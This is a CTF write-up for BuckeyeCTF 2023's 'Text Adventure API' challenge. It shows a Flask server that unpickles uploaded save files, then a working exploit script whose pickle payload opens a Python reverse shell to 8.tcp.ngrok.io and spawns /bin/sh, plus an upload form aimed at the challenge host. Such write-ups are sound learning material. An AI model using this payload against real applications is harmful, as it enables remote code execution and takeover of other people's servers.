Published on

BuckeyeCTF 2023 – Text Adventure API

Authors
  • avatar
    Name
    Lumy
    Twitter

Text Adventure API

Explore my kitchen!

Table of Contents

  1. Source code
  2. Solution

Source code

The description gives us a zip file containg the source of the challenge : Text Adventure API

Solution

Here is the important part of the server.py script :

def get_current_location():
    return session.get('current_location', 'start')

@app.route('/api/save', methods=['GET'])
def save_session():
    session_data = {
        'current_location': get_current_location()
        # Add other session-related data as needed
    }

    memory_stream = io.BytesIO()
    pickle.dump(session_data, memory_stream)
    response = Response(memory_stream.getvalue(), content_type='application/octet-stream')
    response.headers['Content-Disposition'] = 'attachment; filename=data.pkl'
    
    return response

@app.route('/api/load', methods=['POST'])
def load_session():
    if 'file' not in request.files:
        return jsonify({"message": "No file part"})
    file = request.files['file']
    if file and file.filename.endswith('.pkl'):
        try:
            loaded_session = pickle.load(file)
            session.update(loaded_session)
        except:
            return jsonify({"message": "Failed to load save game session."})
        return jsonify({"message": "Game session loaded."})
    else:
        return jsonify({"message": "Invalid file format. Please upload a .pkl file."})

We can easily see that the exploitation is in the pickle.load function that can lead to deserialization exploitation.

However we need to craft a valid payload that will validate also the session.update function in order for the reverse shell to work (otherwise it will throw an error and go to the except "Failed to load save game session.")

Let's first analyse the content of data.pkl that can downloaded from /api/save

hexdump -C data.pkl
00000000  80 04 95 1f 00 00 00 00  00 00 00 7d 94 8c 10 63  |...........}...c|
00000010  75 72 72 65 6e 74 5f 6c  6f 63 61 74 69 6f 6e 94  |urrent_location.|
00000020  8c 05 73 74 61 72 74 94  73 2e                    |..start.s.|
0000002a

Also, with a print(session_data) in the /api/save, we can confirm that this is added to to pickle object :

{'current_location': 'start'}

Here is the final exploit script that will generate a valid exploit.pkl file validating pickle.load and session.update. The reverse shell is based on python as we know that the binary python is installed on the server (As the Web Application is based on the python Flask framework) :

import pickle
import base64
import os
import io
from flask import Flask, Response, request, jsonify, session


class RCE:
    
    def __reduce__(self):
        cmd = ("python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"8.tcp.ngrok.io\",13469));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'")

        return os.system, (cmd,)


if __name__ == '__main__':
    memory_stream = io.BytesIO()
    session_data = {"current_location":"start", "rce" :  RCE()}
    saveobject = session_data
    pickled = pickle.dump(saveobject, memory_stream)
    print(memory_stream.getvalue())
    print(saveobject)
    file = open("exploit.pkl",'wb')
    pickle.dump(saveobject, file)
    file.close()

Here is the script to send the file to the server :

<!doctype html>
    <title>Upload new File</title>
    <h1>Upload new File</h1>
    <form method=post enctype=multipart/form-data action="https://text-adventure-api.chall.pwnoh.io/api/load">
      <input type=file name=file>
      <input type=submit value=Upload>
    </form>